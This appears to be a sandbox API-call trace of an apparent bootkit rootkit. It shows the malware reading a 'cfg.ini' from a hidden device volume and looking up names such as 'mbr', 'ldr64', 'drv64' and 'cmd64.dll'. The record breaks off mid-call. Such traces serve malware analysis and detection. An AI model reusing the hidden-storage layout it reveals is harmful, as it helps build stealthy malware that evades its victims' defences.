[0118.811] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.811] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.812] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.812] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.812] KeEnterCriticalRegion () [0118.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.812] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.812] IdePortDispatch () returned 0x103 [0118.812] KeWaitForMutexObject () returned 0x0 [0118.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.812] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.812] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.812] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.812] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.812] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcedc0 [0118.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.812] KeLeaveCriticalRegion () [0118.812] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.812] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.812] KeEnterCriticalRegion () [0118.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.812] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.812] KeLeaveCriticalRegion () [0118.813] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.813] KeEnterCriticalRegion () [0118.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.813] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.813] IdePortDispatch () returned 0x103 [0118.813] KeWaitForMutexObject () returned 0x0 [0118.813] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.813] KeLeaveCriticalRegion () [0118.813] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.813] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.813] KeEnterCriticalRegion () [0118.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.813] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2b000 [0118.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.813] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.813] IdePortDispatch () returned 0x103 [0118.814] KeWaitForMutexObject () returned 0x0 [0118.814] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.814] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.814] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.814] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.814] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.814] IdePortDispatch () returned 0x103 [0118.814] KeWaitForMutexObject () returned 0x0 [0118.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.814] KeLeaveCriticalRegion () [0118.814] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.815] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.815] KeEnterCriticalRegion () [0118.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.815] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.815] KeLeaveCriticalRegion () [0118.815] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.815] KeEnterCriticalRegion () [0118.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.815] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.815] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bce070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.815] KeLeaveCriticalRegion () [0118.815] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.815] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.815] KeEnterCriticalRegion () [0118.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.815] ExFreePoolWithTag (P=0xfffffa8003bcedc0, Tag=0x0) [0118.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.815] KeLeaveCriticalRegion () [0118.815] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.815] ReleaseMutex (hMutex=0xf0) returned 1 [0118.816] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.816] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.816] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.816] KeEnterCriticalRegion () [0118.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.816] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.816] IdePortDispatch () returned 0x103 [0118.816] KeWaitForMutexObject () returned 0x0 [0118.816] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.816] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.816] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.816] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.816] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.816] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5f60 [0118.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.816] KeLeaveCriticalRegion () [0118.816] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.816] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.816] KeEnterCriticalRegion () [0118.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.816] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.817] KeLeaveCriticalRegion () [0118.817] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.817] KeEnterCriticalRegion () [0118.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.817] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.817] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.817] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.817] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.817] IdePortDispatch () returned 0x103 [0118.817] KeWaitForMutexObject () returned 0x0 [0118.817] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.817] KeLeaveCriticalRegion () [0118.817] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.817] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.817] KeEnterCriticalRegion () [0118.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.818] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2c000 [0118.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.818] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.818] IdePortDispatch () returned 0x103 [0118.818] KeWaitForMutexObject () returned 0x0 [0118.818] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.818] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.818] IdePortDispatch () returned 0x103 [0118.818] KeWaitForMutexObject () returned 0x0 [0118.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.818] KeLeaveCriticalRegion () [0118.818] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.819] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.819] KeEnterCriticalRegion () [0118.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.819] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.819] KeLeaveCriticalRegion () [0118.819] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.819] KeEnterCriticalRegion () [0118.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.819] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.819] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bca070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.819] KeLeaveCriticalRegion () [0118.819] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.819] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.819] KeEnterCriticalRegion () [0118.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.820] ExFreePoolWithTag (P=0xfffffa80039c5f60, Tag=0x0) [0118.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.820] KeLeaveCriticalRegion () [0118.820] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.820] ReleaseMutex (hMutex=0xf0) returned 1 [0118.820] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.820] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.820] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.820] KeEnterCriticalRegion () [0118.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.820] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.820] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.820] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.820] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.820] IdePortDispatch () returned 0x103 [0118.820] KeWaitForMutexObject () returned 0x0 [0118.820] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.820] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.820] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.820] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.820] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.820] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca200 [0118.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.821] KeLeaveCriticalRegion () [0118.821] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.821] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.821] KeEnterCriticalRegion () [0118.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.821] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.821] KeLeaveCriticalRegion () [0118.821] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.821] KeEnterCriticalRegion () [0118.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.821] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.821] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.821] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.821] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.821] IdePortDispatch () returned 0x103 [0118.821] KeWaitForMutexObject () returned 0x0 [0118.821] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.821] KeLeaveCriticalRegion () [0118.821] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.821] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.822] KeEnterCriticalRegion () [0118.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.822] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2d000 [0118.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.822] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.822] IdePortDispatch () returned 0x103 [0118.822] KeWaitForMutexObject () returned 0x0 [0118.822] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.822] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.822] IdePortDispatch () returned 0x103 [0118.822] KeWaitForMutexObject () returned 0x0 [0118.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.822] KeLeaveCriticalRegion () [0118.822] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.823] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.823] KeEnterCriticalRegion () [0118.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.823] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.823] KeLeaveCriticalRegion () [0118.823] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.823] KeEnterCriticalRegion () [0118.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.823] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.823] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.823] KeLeaveCriticalRegion () [0118.823] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.823] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.823] KeEnterCriticalRegion () [0118.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.824] ExFreePoolWithTag (P=0xfffffa8003bca200, Tag=0x0) [0118.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.824] KeLeaveCriticalRegion () [0118.824] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.824] ReleaseMutex (hMutex=0xf0) returned 1 [0118.824] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.824] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.824] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.824] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.824] KeEnterCriticalRegion () [0118.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.824] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.824] IdePortDispatch () returned 0x103 [0118.824] KeWaitForMutexObject () returned 0x0 [0118.824] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.824] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.824] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.824] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.824] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.824] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.824] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.825] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.825] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.825] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.825] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.825] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.825] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.825] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.825] _strnicmp (_Str1="", 